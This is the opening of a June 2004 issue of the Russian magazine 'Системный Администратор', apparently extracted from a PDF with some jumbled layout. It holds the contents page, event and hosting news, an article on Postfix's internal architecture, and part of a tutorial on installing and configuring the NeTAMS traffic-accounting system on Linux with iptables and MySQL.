№6(19) июнь 2004 подписной индекс 81655 www.samag.ru
Архитектура Postfix Процессы в Linux Подсчет трафика с помощью NeTAMS FreeBSD-бинарная совместимость с Linux Обзор дистрибутива Securepoint Возможности Prelude IDS VMWare co всеми удобствами Первые шаги в NetBSD
№6(19) июнь 2004
Пиринг Путь воина – внедрение в PE/COFF-файлы Оптимизация работы PHP при помощи PHPAccelerator
оглавление 3 ПРОГРАММИРОВАНИЕ
НОВОСТИ
Процессы в Linux
АДМИНИСТРИРОВАНИЕ
Общие сведения. Представление процессов в ядре Linux.
Архитектура Postfix
Владимир Мешков ubob@mail.ru
Детальное изучение анатомии программы. Андрей Бешков tigrisha@sysadmins.ru
42
4 Путь воина – внедрение в PE/COFF-файлы Крис Касперски kk@sendmail.ru
Подсчет трафика с помощью NeTAMS (Network Traffic Accounting and Management System)
52
Простой интерпретатор командного языка
Кирилл Тихонов aka_shaman@mail.ru
9
Александр Фефелов fefelov@zvenigorod.ru
72
VMWare со всеми удобствами Андрей Бешков tigrisha@sysadmins.ru
WEB 12
FreeBSD-бинарная совместимость с Linux Андрей Бешков tigrisha@sysadmins.ru
18
22
Сергей Яремчук grinder@ua.fm
№6(19), июнь 2004
82
Управление сетевой печатью в Windows 2000 Часть 2
Обзор дистрибутива Securepoint.
Возможности Prelude IDS.
Что такое «пиринговые отношения»? Как они выглядят в России? Краткая хронология вопроса. Павел Закляков amdk7@mail.ru
Точка защиты
Прелюдия для защиты
78
Пиринг
БЕЗОПАСНОСТЬ
Сергей Яремчук grinder@ua.fm
Андрей Уваров dashin@ua.fm
ОБРАЗОВАНИЕ
Первые шаги в NetBSD Часть 1 Александр Байрак x01mer@pisem.net
Оптимизация работы PHP при помощи PHPAccelerator
30
Создание сценария регистрации пользователей в сети, который будет автоматический управлять подключением сетевых принтеров. Иван Коробко ikorobko@prosv.ru
34 BUGTRAQ
88 80
1
новости
SYSM.03 Итак, подходит время очередного, третьего по счету и ставшего традиционным Семинара Системных Администраторов и Инженеров (SYSM.03), который проводится порталом SysAdmins.RU (www.sysadmins.ru) при информационной поддержке журнала «Системный Администратор». Что же мы ожидаем в первую очередь от него? Конечно, той же интересной, позитивной и запоминающейся атмосферы, которая сопровождала все предыдущие семинары и которая может быть только среди коллег. Как обычно, мы ждем всех, кто так или иначе относится к специалистам IT-индустрии – системных и сетевых администраторов, системных архитекторов, инженеров техподдержки, аналитиков, IT-менеджеров. На третьем семинаре мы планируем разделить программу выступлений по нескольким тематическим направлениям, что позволит вам выбрать наиболее интересную тематику и рационально и плодотворно использовать свое время. Планируется проводить параллельные сессии выступлений в нескольких залах. Традиционно будут выступления представителей крупных интеграторов и IT-корпораций. Они представят новейшие решения в области операционных систем, систем информационной безопасности, серверные и сетевые решения. Все выступления ориентированы именно на техни-
ческих специалистов, на вопросы буду отвечать профессионалы своего дела. Многие решения, речь о которых пойдёт в выступлениях, будут представлены на стендах. Участники смогут не только услышать информацию по этим решениям, но и проверить их в деле. Выступающими на семинаре являются и наши с вами коллеги, поэтому если у вас есть интересный опыт решения нетривиальной задачи или вы считаете себя гуру в какой-либо области IT-искусства, обязательно присылайте заявку на выступление на e-mail sysm@sysm.ru. Надеемся, что предоставим все возможности для совершенствования ваших навыков, расширения кругозора и общения с коллегами. Как обычно, семинар пройдет в уютном и комфортном месте. Предусмотрены гостиничные номера для иногородних гостей. Отчеты и фотографии с предыдущих семинаров вы можете найти на www.sysm.ru. Внимательно следите за обновлениями на сайте, в ближайшее время будет открыта регистрация участников, опубликована программа и размещена информация о времени и месте проведения семинара. Организаторы семинара Портал SysAdmins.RU Фото Алексея Фомина
Новости от компании .masterhost Хостинг: новая маркетинговая программа
Пропускная способность
Компания .masterhost представила на рынок новую клиентскую программу «Работа над ошибками». Так уж повелось на рынке хостинг-услуг, что далеко не каждый создатель интернет-проектов сразу выбирает правильный для себя хостинг, поработав некоторое время, зачастую приходит желание поменять хостинг на более подходящий. Компания .masterhost предлагает всем желающим свою помощь в перемещении интернет-проектов на профессиональную хостинг-площадку. При этом клиент получает не только широко известное профессиональное обслуживание в компании .masterhost, но и финансовую компенсацию в размере предоплаты, не израсходованной на предыдущем хостинге.
Техническая служба компании .masterhost сообщает о расширении пропускной способности транспортных каналов и установке собственного оборудования на узле связи MSK-IX. В настоящий момент суммарная пропускная способность каналов составляет 3 Гб/сек, из которых 2 Гб/сек соединяют .masterhost и ТТК, а 1 Гб/сек связывает .masterhost с провайдером «Корбина телеком». Точка присутствия на узле связи MSK-IX обеспечивает возможность динамического развития транспортных возможностей технической площадки .masterhost.
№6(19), июнь 2004
www.masterhost.ru e-mail: press@masterhost.ru
3
администрирование
АРХИТЕКТУРА POSTFIX
В последнее время очень часто почтовые системы создаются на основе Postfix. Данный пакет программного обеспечения стал довольно популярен среди администраторов всех видов UNIX-систем. Причина такого хода событий тривиальна – Postfix характеризуется как феноменально простая в освоении, удобная в настройке и чрезвычайно устойчивая система. Целью создания этого продукта была надежда полностью заменить sendmail. Являясь монолитным сервером, sendmail небезопасен, потому что одна-единственная ошибка может скомпрометировать всю программу.
АНДРЕЙ БЕШКОВ 4
администрирование Давайте посмотрим, как выглядит изнутри почтовая система, построенная на основе Postfix, и чем она отличается от других систем, предназначенных для выполнения тех же задач. Добиться этого можно, сосредоточив свое внимание на детальном изучении анатомии этой программы. Очень надеюсь, что прилагающаяся к статье схема поможет нам в этом. Во-первых, хотелось бы сказать, что костяк системы построен на использовании нескольких полурезидентных программ. Каждая из них в соответствии с философией UNIX выполняет только одну задачу, но делает это хорошо. В отличие от стандартного подхода, практикуемого qmail, при котором главная программа вызывает вспомогательные по мере необходимости и позволяет им умирать, когда они уже не нужны, резидентность служебных программ позволяет сэкономить на создании новых процессов. Впрочем, если грамотно распределить этапы обработки почты для каждой программы и несильно дробить весь процесс, то подход, исповедуемый qmail-подобными системами, будет вполне допустим. В то же время нет необходимости в большом количестве одновременно работающих программ, самостоятельно выполняющих одно и то же действие, для находящихся в обработке писем. Их все можно заменить одним или несколькими резидентными экземплярами нужной подсистемы, обрабатывающими по очереди все поступающие запросы. Соответственно любая служебная программа при необходимости может запросто обратиться с запросами к любому другому компоненту почтовой системы. Такое жесткое деление на подсистемы позволяет легко отключать те модули, в которых вы не нуждаетесь. Например, на пограничном межсетевом экране нет необходимости держать включенным модуль, принимающий SMTPсоединения. Postfix имеет довольно сложное внутреннее устройство. На момент последнего релиза исходный код насчитывал 30 000 строк после удаления комментариев. Но в то же время все построено очень логично, и новому пользователю не приходится вникать в особенности реализации сразу после установки системы. Необходимость изучать систему глубже возникает только тогда, когда хочется сделать что-то нестандартное. Но и тут нас ожидают приятные неожиданности, благодаря своему логичному дизайну перевести систему в любой режим работы оказывается достаточно просто. В таком большом комплексе приходится как можно тщательнее заботиться о безопасности системы. Для этого применяются следующие меры: ! Использование наименьших привилегий. Postfix может быть легко ограничен с помощью chroot и работать от имени самого бесправного пользователя. ! Ни одна из служебных программ не использует set-uid бит. ! Между программами, отвечающими за доставку почты, и пользовательскими процессами, работающими в системе, отсутствуют отношения родитель-ребенок. Это позволяет свести на нет попытки использования эксплоитов, основанных на том, что злонамеренный родительский процесс может передавать дочернему специально измененные переменные среды, сигналы, открытые файлы.
№6(19), июнь 2004
! Все данные, приходящие из внешних источников по
!
!
умолчанию, считаются потенциально опасными, поэтому должны быть проверены и отфильтрованы жесточайшим образом. Память для текстовых фрагментов и служебных буферов выделяется динамически, что позволяет значительно снизить вероятность успешного использования ошибок переполнения буфера. Слишком большие текстовые массивы обрабатываются после разрезания на фиксированные фрагменты. После завершения всех нужных действий они снова склеиваются воедино. Такой подход позволяет существенно уменьшить требования программы к наличию оперативной памяти. Количество объектов, находящихся в памяти, строго ограничено. Соответственно даже под большой нагрузкой Postfix не будет потреблять слишком много системных ресурсов. Ведь скорость обработки почтовых сообщений вряд ли вырастет от того, что мы, к примеру, вместо десяти будем использовать двадцать буферов для обработки писем. Тут уже ограничителем выступает скорость аппаратных компонентов самой системы, а не количество объектов для обработки почты, хранящейся на диске.
Итак, разобравшись с основными концепциями дизайна системы, перейдем к детальному рассмотрению ее архитектуры. Во главе всего стоит демон master, который обычно запускается командой postfix при старте системы и работает постоянно до тех пор, пока действует почтовая система. Этот супердемон отвечает за запуск по требованию всех остальных демонов и перезапуск тех из них, которые преждевременно завершили свою работу из-за каких-либо проблем. В его обязанности также входит следить, чтобы количество дочерних процессов не превышало ограничения установленных в файле master.cf, и чтобы каждый из них жил не дольше, чем определено настройками почтовой системы. В дальнейшем в статье по мере возможности вместо слова «демон» я буду употреблять слово «процесс». Думаю, так будет удобнее всего. Главное, не забывать, что наши демонизированные процессы в отличие от обычных процессов никогда не завершаются самостоятельно, а лишь по приказу от master. Если те или иные процессы простаивают из-за отсутствия работы, то по истечении определенного тайм-аута они будут принудительно завершены в целях экономии памяти. Между собой все они общаются либо с помощью UNIXсокетов, либо через FIFO. Все каналы обмена находятся в специально защищенной директории. Несмотря на такие предосторожности, все данные, получаемые от разных подсистем самого Postfix и внешних сущностей, обязательно подвергаются добавочным проверкам. Потихоньку разобравшись с вопросом, кто здесь главный, давайте посмотрим, какими путями письма появляются внутри почтовой системы. Самый частый случай – когда новые письма приходят через сетевое соединение. Первым делом их получает SMTP-демон. Если администратор включил соответствующую возможность, то сначала будет произведена проверка, не попадает ли письмо под ограничения UCE-филь-
5
администрирование трации. UCE (unsolicited commercial email) – невостребованная коммерческая почта, или, проще говоря, спам. Для борьбы с ним можно применять следующие меры: ! Фильтрация по служебным заголовкам или телу сообщений. ! Ограничения IP-адресов и имен хостов клиентов, которым разрешено отправлять почту через нашу систему. ! Принуждение клиентских программ начинать каждую сессию с команды EHLO. Большинство инструментов, используемых спамерами для групповой рассылки, не обучены следовать этому стандарту. ! Требование использовать почтовые адреса, полностью соответствующие стандарту RFC 821. ! Ограничения, накладываемые на почтовый адрес отправителя и получателя сообщения. ! Проверка IP-адреса отправителя по черному списку RBL. После этого с полученным письмом начинает работать процесс cleanup, занимающийся его зачисткой. Он проводит первоначальные проверки на правильность оформления и формат входящего сообщения, позволяя защитить остальную систему от многих атак, рассчитанных на переполнение буфера. В случае необходимости добавляет в письмо недостающие служебные заголовки и с помощью процесса по имени trivial-rewrite приводит адреса к виду: пользователь@поддомен.домен. В postfix пока нет полноценного языка, позволяющего гибко управлять процессом переписывания адресов, поэтому вместо него используются служебные таблицы canonical и virtual для хранения правил, управляющих перезаписью. После такой обработки письмо сохраняется на диск в формате файла почтовой очереди и кладется в директорию, где хранится очередь incoming, обычно это директория /var/spool/postfix/incoming/. Как вы могли догадаться по названию, эта очередь используется только для обработки входящих сообщений. Затем процесс cleanup уведомляет процесс queue manager, управляющий всеми очередями о прибытии новой почты. Следующий случай – письмо, отправленное из нашей локальной системы с помощью какого-либо скрипта или, например, с помощью вот такой команды: echo "mail text" | mail tigrisha@unreal.net -s "test subject"
Во многих UNIX-системах в качестве почтовой программы и по сей день традиционно используется sendmail. Соответственно большинство скриптов, написанных ранее и используемых сейчас априори, считает, что в системе установлена именно эта разновидность почтового сервера. Чтобы не разрушить совместимость с огромным количеством программного обеспечения при переходе к использованию Postfix, в систему вместе с прочими файлами устанавливается программа, заменяющая sendmail. Таким образом, получается, что команда mail передает письмо программе sendmail, установленной Postfix, а та в свою очередь вызывает привилегированную программу postdrop. Ну а последняя уже кладет файлы с письмами в служебную директорию maildrop, которая обычно находится в /var/spool/postfix/maildrop/. Затем письмо подхваты-
6
вает процесс pickup и аналогично SMTP-демону проверяет соответствие послания установленным форматам, в результате чего письмо попадает в лапы свободному на данный момент процессу cleanup. В случае если письмо не поддается коррекции, то оно немедленно уничтожается. Стоит отметить, что отправитель не получит никаких извещений о данном прискорбном факте. Если же ничего аномального не было найдено, то сообщение беспрепятственно попадет в очередь incoming, а queue manager, как обычно, получит сигнал о появлении новых писем. Идем дальше. Новая почта также может появиться в случае, если письмо невозможно доставить адресату и настройки системы диктуют в данном случае отправлять оповещения отправителю. При таком повороте событий процесс bounce или defer генерирует письмо с извещением о проблеме. Адресовано оно, конечно же, отправителю первоначального сообщения. Другим источником возникновения писем может быть настройка Postfix, заставляющая его отправлять администратору уведомления в случае проблем c SMTP или нарушения тех или иных политик, которые продиктованы настройками почтовой системы. Соответственно в обоих случаях, чтобы доставить письмо адресату, приходится, как обычно, отдать его процессу cleanup и затем отправить в очередь incoming.
Доставка почтовых сообщений Мы разобрались с тем, какими путями письма появляются внутри почтовой системы. Теперь все, что находится в очереди incoming, нужно доставить получателям. Давайте посмотрим, как это происходит. Получив от cleanup уведомление о поступлении новой почты демон queue manager, управляющий очередями, перекладывает письмо в очередь active. Кстати, стоит заметить, что эта очередь очень маленького размера. В ней может находиться всего лишь несколько писем, которые в данный момент находятся в процессе доставки. Сделано это по двум причинам. Вопервых, для того чтобы при большой нагрузке менеджер очередей не потреблял слишком много памяти. Вторая причина состоит в том, что в случае, когда принимающая сторона не в состоянии получать письма с той скоростью, с которой Postfix старается их передать, приходится притормозить скорость отправки. С малой очередью это делать гораздо проще. Положив письмо в очередь active, демон queue manager создает запрос к процессу trivialrewrite, с помощью которого удается определить точку на-
администрирование значения сообщения. В ответ можно будет лишь узнать, локальный ли получатель или он живет на удаленной системе. Добавочную информацию о маршрутизации почты можно получить из файла transport. В зависимости от полученных данных queue manager входит в контакт с одним из следующих агентов доставки: ! Local – используется для доставки почты внутри локальной системы. Умеет работать со стандартными для UNIX почтовыми ящиками. В случае если для данного пользователя не заведено системных псевдонимов, в файле псевдонимов обычно это /etc/aliases и нет файлов локального перенаправления .forward, которые любой пользователь может создать в своей домашней директории, то письмо сразу же попадает в целевой почтовый ящик. В противном случае письмо будет передано туда, куда они указывают. Возможности локального агента доставки на этом не заканчиваются. Одновременно могут работать несколько агентов локальной доставки, но в то же время параллельная доставка нескольких писем в один почтовый ящик обычно не практикуется. Несмотря на то, что агент локальной доставки может самостоятельно справиться со всеми проблемами, по желанию администратор может задействовать механизмы, позволяющие передоверить доставку в почтовый ящик внешним программам. Примером такой программы может служить широко известный многим администраторам procmail. ! Virtual – агент виртуальной доставки представляет собой очень урезанную версию агента локальной доставки. Поэтому он может работать только с почтовыми ящиками в формате mailbox. В нем также отсутствует поддержка системной базы псевдонимов и файлов .forward. За счет таких ограничений данный агент доставки считается самым безопасным из всех. Благодаря своей природе он может легко работать с почтой, предназначенной для нескольких виртуальных доменов, располагающихся на одной и той же машине. ! SMTP-клиент, являющийся еще одним агентом, вступает в действие в тот момент, когда нужно доставить письмо пользователю удаленной системы. Обычно queue manager передает ему следующие данные: имя файла очереди, адрес получателя, хост или домен, куда нужно доставить почту, адрес отправителя. Первым делом с помощью DNS-запроса нужно получить список MX-серверов для целевого домена и отсортировать его по приоритету. Следующим шагом мы начинаем пробовать каждый адрес до тех пор, пока не найдем тот, который находится в рабочем состоянии. Обычно доставка идет одновременно сразу для нескольких доменов, поэтому в системах, через которые проходит большой поток почты, можно увидеть несколько SMTP-клиентов, работающих параллельно. Если доставка завершилась удачно, то SMTP-клиент модифицирует файл почтовой очереди так, чтобы было понятно, что он обработан. В противном случае данный клиент уведомляет queue manager либо о фатальной ошибке, либо о временных затруднениях. Проблемы первого типа могут быть вызваны отсутствием нужного пользователя удаленной системы, а вторые, к примеру, неполадками в сети или неработоспособностью принимающего сервера. В первом случае процесс
№6(19), июнь 2004
!
!
bounce посылает отправителю оповещение о неудаче предпринятого действия и делает запись в протокол работы почтовой системы с помощью syslogd. А во втором письмо помещается в специальную очередь deferred, где оно должно дожидаться следующей попытки доставки. LMTP-клиент работает точно так же, как и SMTP-клиент, разве что протокол используется другой. LMTP специально создан для того, чтобы доставлять письмо на локальный или удаленный сервер, выделенный для хранения почтовых ящиков. В таком качестве могут выступать Courier- или Cyrus-сервер. Большим плюсом такого подхода к доставке писем является то, что один сервер Postfix может раздавать письма разным серверам почтовых ящиков. В то же время никто не мешает одному серверу почтовых ящиков получать почту от нескольких серверов postfix одновременно. Pipe mailer-интерфейс, предназначенный для работы с внешними транспортными агентами. Примером такого взаимодействия может служить работа с UUCP. В то же время никто не мешает нам привязать к данному интерфейсу свой самодельный транспорт.
Как я уже говорил ранее, в случае если доставка не удалась, менеджер очередей переправляет файл, в котором хранится письмо, в директорию, где находится очередь deferred. В ней складируются отложенные до лучших времен письма. На файл с письмом ставится временной штамп, находящийся в будущем, соответственно следующая обработка этого файла произойдет именно в тот момент, на который указывает штамп. Периодически менеджер очередей проверяет, не пришло ли время предпринять следующую попытку доставки отложенных сообщений. В случае если есть необходимость выполнить очередную попытку раньше, чем истечет тайм-аут, нужно воспользоваться командой postfix flush. Следующим интересным для нас понятием является очередь corrupt. В нее попадают все поврежденные, нечитаемые или неправильно отформатированные файлы почтовых очередей. Такая предосторожность позволяет изолировать подозрительные данные до тех пор, пока администратор системы не решит, что с ними делать. Впрочем, за несколько лет непрерывной работы моего сервера мне так и не удалось увидеть ни одного случая, чтобы сообщение попало в эту очередь. Последняя из существующих в системе очередей называется hold. Здесь хранятся письма, доставка которых приостановлена по тем или иным причинам. Они будут находиться в этой очереди, пока не поступит специальная команда, выводящая их из состояния паузы. Менеджер очередей может работать в разных режимах, обычно они называются стратегиями. В то же время никто не мешает их комбинировать между собой. Давайте рассмотрим характерные особенности каждого из них. ! leaky bucket – дырявое ведро. Жестко ограничивает количество сообщений в очереди active, тем самым защищая менеджера очередей от потребления чрезмерного объема памяти. Большая часть сообщений для доставки берется из очереди incoming и лишь малая часть из deferred.
7
администрирование ! Fairness – честная очередь. В случае если очередь телось бы немного поговорить о сопутствующих утилитах,
!
!
!
!
active не заполнена, письма берутся равномерно из deferred и incoming. Что дает залежавшейся почте больше шансов быть доставленной, даже если система очень сильно загружена. slow start – медленный старт. Данная стратегия позволяет бороться с заторами, которые могут образоваться, если принимающая сторона слишком медленно обрабатывает входящие запросы, а очередь предназначенной ей почты слишком велика. Соответственно нужно подобрать ровно такое количество одновременных потоков доставок, чтобы сервер успевал обрабатывать их все, не теряя ни одного из-за перегрузки и следующих за этим тайм-аутов. Подстройка обычно производится с помощью плавного уменьшения количества одновременных попыток доставки. round robin – круговая сортировка. Обычно менеджер очередей сортирует очередь на доставку по пунктам назначения. С помощью этой стратегии вероятность доставки более равномерно распределяется по всем пунктам назначения, что обеспечивает честные условия конкуренции для каждого пункта. exponential backoff – экспоненциальный откат. Почта, которая не может быть доставлена с первой же попытки, попадает в очередь deferred. После каждой неудачной попытки доставки тайм-аут увеличивается вдвое. Таким образом, почта для недееспособных узлов не будет потреблять слишком много ресурсов отправляющей системы напрасными попытками доставки. destination status cache – кэширование статуса. Менеджер очередей поддерживает таблицу, в которой некоторое время хранятся статусы предыдущих попыток доставок. Соответственно это позволяет сэкономить на повторных попытках, обращенных на недоступные узлы.
Кроме всех перечисленных функций менеджер очередей может делать еще одну приятную мелочь. В случае если нам нужно создавать стандартные оповещения, говорящие отправителю исходного сообщения о том, что какие-то почтовые адреса или целые домены перестали существовать или переменили свои названия, мы можем воспользоваться файлом relocated. Я думаю, это довольно удобная возможность. К примеру, представим себе такую ситуацию: в офисе есть пользователь с адресом Irina.Petrova@firma.ru. По какой-то причине она решила сменить фамилию. С женщинами в жизни такое случается вообще достаточно часто. Самым типичным решением было бы завести новый адрес типа Irina.Vasilieva@ firma.ru и поставить пользователю задачу самостоятельно оповестить о смене адреса всех, с кем она когда-либо общалась по почте. Конечно, можно создать псевдоним первого адреса, указывающий на второй, но, согласитесь, это неудобно. Мы поступим проще, а именно: запишем пару из старого и нового адреса в /etc/postfix/relocated и postfix начнет отправлять уведомления о невозможности доставки с указанием нового адреса в ответ на каждое письмо, предназначенное старому адресу. Закончив обсуждать ключевые подсистемы Postfix, хо-
8
о которых мы еще не успели поговорить. ! mailq – программа, позволяющая смотреть список писем, находящихся в почтовых очередях. На самом деле эта программа является всего лишь интерфейсом к демону showq, который вызывается через команду sendmail -bp. ! postsuper – предназначена для обслуживания почтовых очередей. Одним из применений является удаление какого-либо сообщения или повторная установка его в очередь на доставку. В то же время не стоит забывать об утилите postqueue, которая также создана для управления очередями. Единственное различие в них это то, что для работы c postsuper требуются права root, а для postqueue таких широких полномочий не нужно, хотя за счет этого теряется часть функционала. ! postalias – используется для создания баз псевдонимов или выполнения запросов к этим базам. Для совместимости с sendmail существует команда newaliases, делающая то же самое, что и postalias. ! postconf – показывает состояние конфигурационных переменных Postfix. ! postlog – команда, которую можно использовать для записи данных в протоколы работы Postfix. Полезна для использования в своих собственных скриптах. ! postcat – данная утилита, позволяющая посмотреть содержимое файла почтовой очереди. ! postmap – используется для выполнения запросов к вспомогательным таблицам или для создания таких таблиц из текстовых файлов. Перевод данных из текстовой формы в табличную довольно сильно ускоряет процедуру выполнения запросов. ! postlock – позволяет работать с блокировками, установленными Postfix на файлы. Обычно применяется для написания скриптов. ! postkick – предназначена для отправки сигналов по каналам межпроцессового обмена внутри Postfix. Удобна для организации взаимодействия между внутренними процессами Postfix и самописными скриптами. ! spawn – демон, позволяющий подключить внешнюю систему фильтрации содержимого сообщений. На данный момент находится в стадии активной разработки, и хотя работает достаточно надежно, но в силу особенностей реализации создает слишком большую нагрузку на систему. Скорее всего в следующих версиях Postfix будет заменен на что-то лучшее. ! proxymap – сервис, позволяющий централизованно выполнять запросы ко всем служебным таблицам вместо того, чтобы каждый из процессов выполнял их самостоятельно. Еще одним применением может быть предоставление Postfix доступа к файлам, находящимся за рамками ограничений, накладываемых chroot. Вот и подошло к концу наше повествование. Надеюсь, что данный труд поможет тем, кто использует Postfix, лучше понимать механизмы его жизнедеятельности. Ну а для тех, кто пока еще не задумывался о необходимости поставить его на свой сервер, эта статья, возможно, станет первым шагом к такому решению.
администрирование
ПОДСЧЕТ ТРАФИКА С ПОМОЩЬЮ NETAMS
Существует большое количество программ, предназначенных для подсчета трафика и сбора статистики. Сегодня мы рассмотрим одну из них, которая, на мой взгляд, будет одинаково интересна и новичкам, и специалистам.
КИРИЛЛ ТИХОНОВ NeTAMS – Network Traffic Accounting and Management System (www.netams.com) предназначена для контроля и учета сетевого трафика, проходящего через сервер. Работает под управлением операционных систем FreeBSD (4.3 и старше) и Linux (ядро 2.4 или выше и iptables). Краткие характеристики: ! Работа с БД MySQL, PostgreSQL, unix hash. ! Контроль доступа, квот и прав пользования. ! Вывод статистики прямым запросом или через веб-интерфейс. ! Управление посредством соединения клиентом telnet на некий tcp-порт сервера. ! Веб-интерфейс для отображения статистики.
Нам понадобится пакетный фильтр iptables и входящая в него библиотека libipq. Библиотека libipq добавляет цель QUEUE, т.е. очередь. Забегая вперед, скажу, что весь трафик заворачивается с помощью QUEUE в системную очередь, из которой пакеты берет NeTAMS, анализирует и отдает обратно. Скачиваем пакетный фильтр с www.netfilter.org, распаковываем и компилируем (предполагается, что текущее ядро лежит в /usr/src/linux):
Установку программы нельзя назвать тривиальной. В качестве сервера будем использовать Linux, поскольку с ним, в отличие от FreeBSD, возникает большинство проблем. Сервер является маршрутизатором с 2 сетевыми картами, одна смотрит в Интернет, другая – в локальную сеть.
Последняя строка позволяет установить библиотеку libipq. Скачиваем NeTAMS с www.netams.org, последняя версия на момент написания статьи 3.1(1801), и распаковываем:
№6(19), июнь 2004
# # # # #
tar xvfj iptables-1.2.9.tar.bz2 cd iptables-1.2.9 make KERNEL_DIR=/usr/src/linux make install make install-devel
# tar xvfz netams-3.1.1801.tar.gz # cd netams-3.1.1801 # vi Makefile
9
администрирование Скрипта configure здесь нет, поэтому редактируем Makefile. Он хорошо документирован, поэтому разобраться в опциях не составляет труда. Для начала комментируем все, относящееся к FreeBSD, а именно строки 13, 14, 17, 25, 26. После этого раскомментируем строки, относящиеся к Linux: строки 34 и 35. Далее выбираем тип БД: DB1 (unix hash), MySQL или PostgreSQL и раскомментируем относящиеся к ним строки. Само собой, используемая БД должна быть уже установлена и настроена. Мы выбираем MySQL. Поскольку мы используем iptables-1.2.9, то надо раскомментировать строку 50. Далее правим пути к конфигурационному файлу и логам (строки 56, 57) и компилируем: # make
Результатом компиляции будут 2 файла: netams – сама программа и netamsctl – утилита для автоматизации выполнения повседневных работ. Цели install в Makefile нет, поэтому устанавливаем вручную: # cp src/netams /usr/local/bin # cp src/netamsctl /usr/local/bin
Отлично, программа установлена. Но прежде чем мы начнем писать конфигурационный файл, настроим MySQL. В принципе необходимости ручного создания БД нет. При первом запуске NeTAMS создаст ее сам. Однако сделать это возможно только под пользователем с правами администратора MySQL. Мы же заведем отдельного пользователя с именем netamsuser и паролем passwd и вручим ему права на доступ к БД. Итак: # mysql –u root –p Enter password:
debug none user name admin real-name Admin email root@localhost ↵ password 123 permit all service server 0 login any listen 20001 max-conn 6
При запуске программа с такой конфигурацией ничего считать не будет. К ней можно только подключиться с помощью telnet и просмотреть конфигурацию. Разберем файл построчно. Строка debug none отключает вывод отладочной информации. Следующая строка определяет пользователя: ! user name admin – логин; ! real-name Admin – реальное имя; ! email root@localhost – email; ! password 123 – пароль (незашифрованный); ! permit all – разрешено все. Следующая строка начинает описание сервиса server. Этот сервис обеспечивает возможность подключения к работающей программе с помощью telnet: ! service server 0 – начало описания сервиса. Каждый сервис должен иметь номер. Это нужно для того, чтобы можно было описать несколько одинаковых сервисов. Например, несколько сервисов storage, которые будут хранить разную информацию в разных БД. ! login any – пустить всех. ! listen 20001 – слушать tcp-порт 20001. ! max-conn 6 – максимальное число одновременных подключений. Запустим программу: # netams –ld
Создаем базу netams, в которую NeTAMS будет писать данные:
К ней можно подключиться, набрав: telnet netams_host 20001
mysql> create database netams; mysql> connect netams;
Вручаем права пользователю netams-user: mysql> on mysql> on
grant SELECT,INSERT,DELETE,UPDATE,CREATE netams.* to netamsuser; grant SELECT,INSERT,DELETE,UPDATE,CREATE netams.* to netamsuser@localhost;
↵ ↵
и задаем пароль пользователя netamsuser: mysql> connect mysql; mysql> set password for ↵ 'netamsuser'@'localhost'=password('passwd'); mysql> set password for 'netamsuser'@'%'=password('passwd');
Для того чтобы внесенные изменения вступили в силу, обновляем активные привилегии и выходим: mysql> flush privileges; mysql> exit
Все, БД готова к приему данных от NeTAMS. Начнем писать конфигурационный файл /etc/netams.cfg:
10
Далее надо ввести логин и пароль – в нашем случае admin и 123. Введя «?», можно получить справку по командам. Теперь займемся подсчетом трафика. В уже созданный файл допишем еще несколько сервисов, после чего он примет вид: debug none user name admin real-name Admin email root@localhost ↵ password 123 permit all service server 0 login any listen 20001 max-conn 6 service processor 0 lookup-delay 10 policy acct name all-ip target ip restrict all pass local pass unit host name linux-gw ip 195.x.x.x acct-policy all-ip storage 1 all service storage 1 type mysql user netamsuser
администрирование password passwd service data-source 1 type ip-traffic service html 1 path /var/www/localhost/netams run 1min client-pages all
Разберем написанное. Обращаю внимание, что в пределах одного сервиса пустые строки недопустимы. Дело в том, что с точки зрения NeTAMS после пустой строки должно идти начало нового сервиса, и в случае обнаружения пустой строки, за которой не идет определение сервиса, NeTAMS будет аварийно завершать работу. ! service processor 0 – ядро системы, в нем определяются объекты, по которым будет идти учет. ! policy acct name all-ip target ip – определяет политику, по которой будет производиться подсчет трафика, в данном случае политика с именем all-ip (параметр name) будет считать весь IP-трафик. Параметр target может принимать следующие значения: ! ip – весь IP-трафик; ! icmp – весь icmp-трафик; ! tcp – весь tcp-трафик; ! udp – весь udp-трафик; ! tcp-http – весь tcp-трафик, входящий или исходящий, порты которого 80, 808, 8080, 3128, 442; ! tcp-ports – весь tcp-трафик на указанные порты; ! udp-ports весь udp-трафик на указанные порты. ! unit host name linux-gw ip 195.x.x.x acct-policy all-ip – определяет объект, для которого будет производиться подсчет трафика. В данном случае объект host с именем linuxgw, IP-адресом 195.x.x.x (внешний адрес маршрутизатора) и определенной выше политикой all-ip. Таким образом, с помощью этого правила мы считаем весь IP-трафик, поступающий из Интернета на наш маршрутизатор. ! storage 1 all – передает все данные сервису storage 1. ! service storage 1 – сервис, определяющий тип и параметры доступа к БД, в которой будет сохраняться статистика. ! service data-source 1 – обеспечивает поступление данных о трафике внутрь программы. В данном случае определен источник данных ip-traffic. Этот источник работает с системной очередью, в которую с помощью iptables попадают пакеты. ! service html 1 – организует автоматическое периодическое создание статических html-страниц, содержащих информацию о прошедшем трафике. Периодичность создания задается параметром run, в данном случае она равна 1 минуте.
Здесь есть один очень важный момент. Дело в том, что с помощью приведенных выше правил iptables все входящие и исходящие пакеты поступают в системную очередь, откуда их будет брать NeTAMS. Однако если в момент активизации iptables NeTAMS не будет запущен, пакеты будут поступать в системную очередь и пропадать там, т.к. не будет программы, которая отправит их обратно. В результате пропадает коннект до сервера. Поэтому в процессе отладки надо либо сидеть за консолью сервера, либо в случае удаленного администрирования тренироваться на icmp-трафике (в сервисе processor 0 поменять значение параметра policy target ip на target icmp, и в правилах iptables аналогично заменить –p all на –p icmp). А порядок запуска такой: сначала запускаем NeTAMS, потом iptables. Соответственно порядок остановки обратный – сначала останавливаем iptables, потом NeTAMS. Каждый объект имеет свой уникальный шестнадцатеричный идентификатор (OID), который является ключом в базе данных. Он генерируется автоматически после первого запуска, поэтому чтобы статистика не пропала, после запуска программы надо подключиться к ней с помощью telnet и выполнить команду save. Она перезапишет netams.cfg, добавив в него сгенерированные OID. Таким образом, наш файл будет выглядеть так: #NeTAMS version 3.1(1801.7) compiled by root@localhost #configuration built Thu Apr 1 09:25:23 2004 #begin #global variables configuration debug none user oid 01327B name admin real-name "Admin" ↵ crypted $1$$GmbL3iXOMZR57QuGDLv.L1 schedule oid 08FFFF time 1min- action "html" #services configuration service server 0 login any listen 20001 max-conn 6 service processor 0 lookup-delay 10 policy acct oid 036633 name all-ip target ip restrict all pass local pass unit host 022EB1 name linux-gw ip 195.x.x.x ↵ acct-policy all-ip storage 1 all service storage 1 type mysql user netamsuser password passwd service data-source 1 type ip-traffic service 